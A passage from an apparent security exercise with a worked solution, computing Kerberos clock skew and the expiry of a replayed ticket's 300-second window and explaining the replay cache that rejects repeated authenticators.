3. Calculate the exact timestamp T_{expire} after which the file server will unconditionally reject the replayed ticket due to clock skew timeout.
4. What architectural security mechanism do Kerberos services implement to detect and reject replayed authenticators before the 300-second window expires?

Solution:

Step 1: Calculate Current Time Difference:

• Client Timestamp: T_C = 14:32:10 UTC = 14 × 3600 + 32 × 60 + 10 = 50,400 + 1,920 + 10 = 52,330 seconds.
• Server Clock: T_S = 14:34:40 UTC = 14 × 3600 + 34 × 60 + 40 = 50,400 + 2,040 + 40 = 52,480 seconds.
• Absolute difference:

|T_C - T_S| = |52,330 - 52,480| = |-150| = 150 seconds (2.5 minutes)Step 2: Acceptance Evaluation at 14:34:40 UTC:

The condition for Kerberos ticket acceptance is:

|T_C - T_S| ≤ Δ T_{max}150 seconds ≤ 300 secondsBecause the time difference (150s) is strictly within the 300-second threshold, the ticket is mathematically valid. If no replay cache entry exists, the file server will ACCEPT the replayed ticket!

Step 3: Calculate Expiration Timestamp T_{expire}:

The ticket remains valid as long as:

T_S - T_C ≤ 300 secondsT_{expire} = T_C + 300 secondsT_C = 14:32:10 UTCAdd 300 seconds (5 minutes):

T_{expire} = 14:32:10 + 00:05:00 = 14:37:10 UTCAt 14:37:11 UTC, the difference exceeds 300 seconds, and the server unconditionally rejects the authenticator with KRB_AP_ERR_SKEW.

Step 4: Architectural Defense Against Replay Attacks:

To prevent attackers from replaying captured tickets within the 300-second window, Kerberos services implement a Replay Cache (rcache):

• When a server decrypts an authenticator, it stores the tuple (client_principal, timestamp, microsecond_offset) in an in-memory hash table.
• If a second request arrives containing an identical (client_principal, timestamp) within the 300-second window, the server recognizes it as a replayed packet and immediately terminates the session with KRB_AP_ERR_REPEAT.
• Authenticators are purged from the replay cache only after their timestamp age exceeds Δ T_{max} (300 seconds), ensuring zero memory leaks while maintaining continuous replay protection.